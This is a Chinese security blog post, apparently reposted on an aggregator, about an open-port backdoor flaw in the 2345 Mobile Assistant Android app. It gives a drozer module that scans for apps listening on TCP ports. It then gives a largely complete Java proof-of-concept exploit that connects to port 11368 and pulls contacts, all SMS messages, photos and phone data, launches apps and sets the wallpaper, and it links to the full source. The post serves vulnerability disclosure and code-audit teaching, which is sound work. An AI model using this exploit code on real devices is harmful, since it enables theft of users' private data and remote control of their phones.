2345手机助手类似于百度的WormHole漏洞
来源:互联网 发布:淘宝全球购为什么便宜 编辑:程序博客网 时间:2024/05/16 09:05
0x00 前言
前段时间爆出了百度moplus sdk的一个被称为虫洞的漏洞,它被植入到14000款app当中,使这些app躺着也中枪,间接成为了这个虫洞的帮凶。这个案例再次提醒我们,木桶理论适用于产品的安全,任何一处的短板都会使千里之堤毁于蚁穴,sdk的安全也会直接影响着产品的安全。出现这种后台漏洞的根本原因是错用ServerSocket代替了LocalServerSocket,可能设计的初衷是为了给其它app提供接口或者其它一些业务逻辑。根据笔者多年的代码审计经验,这类漏洞存在于app以及一些sdk中的概率占的比例比我们想象的高。授人以鱼不如授人以渔,接下来我们以2345手机助手讲解下这类漏洞的快速发现和利用。
0x01 发现
这里编写drozer的一个扫描模块来发现这类的问题,很方便,代码如下:
from drozer.modules import Module,commonimport reclass findport(Module,common.Shell): name = "findport" description = "find open port in android" examples = "run exp.work.findport" date = "2015-10-08" license = "GPL" path = ["exp","work"] def toHexPort(self,port): hexport = str(hex(int(port))) return hexport.strip('0x').upper() def finduid(self,protocol, entry): if (protocol=='tcp' or protocol=='tcp6'): uid = entry.split()[-10] else: # udp or udp6 uid = entry.split()[-6] try: uid = int(uid) except: return -1 if (uid > 10000): # just for non-system app return 'u0_a'+str(uid-10000) else: return -1 def execute(self, arguments): proc_net = "/proc/net/" ret = self.shellExec("netstat -anp | grep -Ei 'listen|udp*'") list_line = ret.split('\n') apps = [] strip_listline = [] #pattern = re.compile("^Proto") # omit the first line for line in list_line: if (line != ''): socket_entry = line.split() protocol = socket_entry[0] port = socket_entry[3].split(':')[-1] grep_appid = 'grep '+ self.toHexPort(port) + ' ' + proc_net + protocol net_entry = self.shellExec(grep_appid) uid = self.finduid(protocol, net_entry) if (uid == -1): continue applist = self.shellExec('ps | grep ' + uid).split() app = applist[8] apps.append(app) strip_listline.append(line) itapp= iter(apps) itline=iter(strip_listline) self.stdout.write("Proto Recv-Q Send-Q Local Address Foreign Address State APP\r\n") try: while True: self.stdout.write( itline.next() + ' '*10 + itapp.next() + '\n') except StopIteration: pass self.stdout.write('\n')
安装模块后,扫描结果如下:
0x02 利用
可以看到2345手机助手(包名为com.market2345)监听了两个tcp端口,这里以11368为例,我们用IDA打开该APK的dex,x快捷键查看ServerSocket的交叉应用,经过分析后迅速锁定到逻辑代码如下:
通过逆向分析之后,可以知道该端口采用google的GSON库通信的,从上图中可以看出来,我们通过利用这个后门漏洞可以远程获取删除联系人,远程设置桌面,获取图片,远程安装apk等等,具体的POC代码我已经写好,主要代码如下:
package com.parker.poc;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.DataOutputStream;import java.io.IOException;import java.net.InetSocketAddress;import java.net.Socket;import java.net.SocketException;import java.util.Arrays;import java.util.Collections;import java.util.HashSet;import java.util.Set;import java.util.concurrent.atomic.AtomicBoolean;import java.util.concurrent.atomic.AtomicLong;import android.graphics.Bitmap;import android.os.Handler;import android.os.HandlerThread;import android.os.Looper;import android.os.Message;import android.util.Log;import com.parker.poc.model.CommandModel01;import com.parker.poc.model.CommandModel05;import com.parker.poc.model.CommandModel11;import com.parker.poc.model.IconCollation;import com.parker.poc.model.IconInfo;import com.parker.poc.model.PhoneData;import com.parker.poc.model.SMSOperationCommandModel;import com.parker.poc.model.StartOtherAppCommandModel;import com.parker.poc.packet.Packet;import com.parker.poc.util.UnionUtils;public class Poc extends HandlerThread {private static final String TAG = Poc.class.getName();public static final int VulcanPort = 11368;private Socket mSocket;private String mIp;private int mPort;private PocHandler mHandler;private AtomicBoolean mPrepared = new AtomicBoolean(false);private Set<PocCallback> mCallbackSet = Collections.synchronizedSet(new HashSet<PocCallback>());private AtomicLong mTimeout = new AtomicLong(5000);private final class PocHandler extends Handler {public PocHandler(Looper looper) {super(looper);}@Overridepublic void handleMessage(Message msg) {Log.v(TAG, "handleMessage:" + PocMsg.code2String(msg.what));try {connect();} catch (IOException e) {Log.e(TAG, "can not connect to " + mIp + ":" + mPort, e);PocMsg pocMsg = new PocMsg();pocMsg.status = PocMsg.STATUS_CONNECT_ERROR;pocMsg.msgType = msg.what;pocMsg.poc= Poc.this;pocMsg.packet = null;sendToCallback(pocMsg);return;}Packet sendPacket = new Packet(msg.what, msg.obj);Log.i(TAG, "begein to send packet:" + sendPacket.toString());try {long b = System.currentTimeMillis();Packet recvPacket = sendRecv(sendPacket);Log.i(TAG,String.format("cost %d ms,recv packet:%s",System.currentTimeMillis() - b,recvPacket.toString()));PocMsg pocMsg = new PocMsg();pocMsg.status = PocMsg.STATUS_SUCCESS;pocMsg.msgType = msg.what;pocMsg.packet = recvPacket;pocMsg.poc = Poc.this;sendToCallback(pocMsg);} catch (Throwable e) {PocMsg pocMsg = new PocMsg();pocMsg.status = PocMsg.STATUS_SEND_RECV_ERROR;pocMsg.msgType = msg.what;pocMsg.packet = null;pocMsg.poc = Poc.this;sendToCallback(pocMsg);Log.e(TAG, "sendRecv" , e);}}}private void connect() throws IOException {if (this.mSocket != null) {this.mSocket.close();this.mSocket = null;}this.mSocket = new Socket();this.mSocket.connect(new InetSocketAddress(mIp, mPort));this.mSocket.setTcpNoDelay(true);this.mSocket.setSoTimeout((int) this.getTimeout());}@Overrideprotected void onLooperPrepared() {mHandler = new PocHandler(this.getLooper());mPrepared.set(true);}public Poc(String ip, int port) {super(ip);this.mIp = ip;this.mPort = port;//this.start();}public boolean fetch(int cmd, Object obj) {if (isPrepared()) {Message msg = this.mHandler.obtainMessage();msg.what = cmd;msg.obj = obj;return this.mHandler.sendMessage(msg);} else {return false;}}public void setTimeout(long timeout) {this.mTimeout.set(timeout);}public long getTimeout() {return this.mTimeout.get();}public boolean fetchVersionCode() {return this.fetch(PocMsg.MSG_FETCH_VERSION_CODE, null);}public boolean fetchAllContacts() {return this.fetch(PocMsg.MSG_FETCH_ALL_CONTACTS, null);}public boolean fetchMusicInfo() {return this.fetch(PocMsg.MSG_FETCH_MUSIC_INFO, null);}public boolean downloadImages(int ids[]) {if (ids == null && ids.length <= 0)return false;IconCollation model = new IconCollation();for (int i = 0; i < ids.length; i++) {IconInfo iconInfo = new IconInfo();iconInfo.id = ids[i];model.idList.add(iconInfo);}return this.fetch(PocMsg.MSG_FETCH_IMAGES, model);}public boolean fetchPhoneData() {return this.fetch(PocMsg.MSG_FETCH_PHONE_DATA, null);}public boolean startOtherApp(StartOtherAppCommandModel model) {return this.fetch(PocMsg.MSG_START_OTHER_APP, model);}public boolean fetchAllSMS() {SMSOperationCommandModel smsModel = new SMSOperationCommandModel();smsModel.command = "getall";return this.operateSMS(smsModel);}public boolean operateSMS(SMSOperationCommandModel model) {return this.fetch(PocMsg.MSG_OPERATE_SMS, model);}/* * @param type 可以是0 = "DCIM",1 = wallpaper,2 = other */public boolean fetchImagesByType(int type) {CommandModel05 model = new CommandModel05();model.fileType = type;return this.fetch(PocMsg.MSG_FETCH_FILE_BY_TYPE, model);}/* * @param infoType 可以是"update"或者其他,"update"代表获取更新列表 , 其它值是获取安装应用列表 */public boolean fetchAppsInfos(String infoType) {CommandModel01 model = new CommandModel01();model.command = infoType;return this.fetch(PocMsg.MSG_FETCH_APPS_INFOS, model);}public boolean setWallPaper(String filePath) {CommandModel11 model = new CommandModel11();model.path = filePath;return this.fetch(PocMsg.MSG_SET_WALLPAPER, model);}public boolean isPrepared() {return this.mPrepared.get();}public String getIp() {return this.mIp;}public int getPort() {return this.mPort;}protected void sendToCallback(PocMsg pocMsg) {for (PocCallback callback : mCallbackSet) {callback.onCallback(pocMsg);}}public boolean registerCallback(PocCallback callback) {return this.mCallbackSet.add(callback);}public boolean unregisterCallback(PocCallback callback) {return this.mCallbackSet.remove(callback);}private synchronized byte[] sendRecv(byte[] buf) throws Throwable {BufferedOutputStream bos = new BufferedOutputStream(mSocket.getOutputStream());bos.write(buf);bos.flush();BufferedInputStream bis = new BufferedInputStream(mSocket.getInputStream());byte cmd[] = new byte[4];int len = UnionUtils.readFullLength(cmd.length, bis, cmd);if (len != cmd.length) {throw new IOException("len != cmd.length");}byte datalen[] = new byte[4];len = UnionUtils.readFullLength(datalen.length, bis, datalen);if (len != datalen.length) {throw new IOException("len != datalen.length");}int icmd = UnionUtils.byteArrayToInt(cmd, 0);int idatalen = UnionUtils.byteArrayToInt(datalen, 0);byte data[] = null;if (icmd == PocMsg.MSG_FETCH_IMAGES) {CommandHandler cmdHandler = new CommandHandler();cmdHandler.handle(bis);data = cmdHandler.getBytes();} else {data = new byte[idatalen];}len = UnionUtils.readFullLength(idatalen, bis, data);return UnionUtils.bytesMerger(UnionUtils.bytesMerger(cmd, datalen),data);}private Packet sendRecv(Packet packet) throws Throwable {byte sendBuf[] = packet.build();return Packet.parsePacket(sendRecv(sendBuf));}/*@Overridepublic boolean equals(Object o) {if (this == o){return true;}if (o == null || !(o instanceof Poc)){return false;}if (((Poc)o).getIp().equals(this.getIp()) && ((Poc)o).getPort() == this.getPort()){return true;}else{return false;}}@Overridepublic int hashCode() {return 12;}*/private PhoneData phoneData;public PhoneData getPhoneData() {return phoneData;}public void setPhoneData(PhoneData phoneData) {this.phoneData = phoneData;}}
详细见源码:http://download.csdn.net/detail/autohacker/9488480
0x03 总结
这种漏洞的审计没有特别多的奇淫怪招,锻炼的是逆向能力,但也是代码审计过程中不可忽视的一环,由于平时比较忙,很少写技术blog,能用代码说明问题的一般不会写文字,以后看来还是多写点技术博客,毕竟展示自己也是一种能力嘛:)
- 2345手机助手类似于百度的WormHole漏洞
- 百度全系APP SDK漏洞–WormHole虫洞漏洞
- 类似于百度的下拉菜单
- MIUI用户怎样添加百度手机助手的桌面小部件?
- Android界面设计之——类似百度手机助手的两层导航实现
- python爬取动态生成的网页——以百度手机助手为例
- 使用python爬虫爬取百度手机助手网站中app的数据
- 我为什么卸载了百度手机助手(我们应不应该抵制百度的这种不要脸的推广行为)
- 手机无法连接电脑的手机助手
- 简单类似于百度的自动补全功能
- 豌豆荚公开信:被百度手机助手屏蔽 很糟糕
- Android 仿百度手机助手首页滑动效果
- [MD]模仿百度手机助手动态折线图
- Bdsyn百度手机助手是何物,它是如何神不知鬼不觉地安装到你的电脑里的?
- 破解360手机助手的锁定功能
- 手机助手的那点事儿--经验之谈
- 手机助手的那点事儿--经验之谈
- 手机助手的那点事儿--经验之谈
- 【Makefile学习笔记】报错提示
- 如何从outlook ost恢复数据(ost导入outlook)
- 运算符重载之转换运算符
- MySQL主从复制
- opencv 人脸识别 (一)训练样本的处理
- 2345手机助手类似于百度的WormHole漏洞
- 程序崩溃的调试方法及原因分类
- 视频播放MPMoviePlayerViewController
- 文章标题
- tomcat服务器server.xml项目配置
- 在vs code中使用ftp-sync插件实现客户端与服务器端代码的同步
- mysql初始数据库用途
- opencv 人脸识别 (二)训练和识别
- Socket 的功能 和 套接字的三种类型